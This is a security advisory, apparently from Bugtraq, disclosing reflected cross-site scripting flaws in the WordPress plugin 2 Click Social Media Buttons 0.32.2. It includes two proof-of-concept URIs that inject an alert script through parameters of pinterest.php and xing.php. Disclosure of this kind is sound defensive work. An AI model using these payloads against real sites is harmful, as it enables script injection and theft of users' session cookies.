2 Click Social Media Buttons Multiple Cross Site Scripting Vulnerabilities

Bugtraq ID:	53521
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 15 2012 12:00AM
Updated:	May 15 2012 12:00AM
Credit:	Heine Pedersen and Torben Jensen
Vulnerable:	WordPress 2 Click Social Media Buttons 0.32.2
Not Vulnerable:

2 Click Social Media Buttons Multiple Cross Site Scripting Vulnerabilities

The 2 Click Social Media Buttons plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

2 Click Social Media Buttons 0.32.2 is vulnerable; other versions may also be affected.

2 Click Social Media Buttons Multiple Cross Site Scripting Vulnerabilities

Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.

The following example URIs are available:

http://www.example.com/wp-content/plugins/2-click-socialmedia-buttons/libs/pinterest.php?pinterest-url=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&pinterest-description=1

http://www.example.com/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%22%3E%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E

2 Click Social Media Buttons Multiple Cross Site Scripting Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

2 Click Social Media Buttons Multiple Cross Site Scripting Vulnerabilities

References:

• 2 Click Social Media Buttons Homepage (WordPress)
  
• WordPress Homepage (WordPress)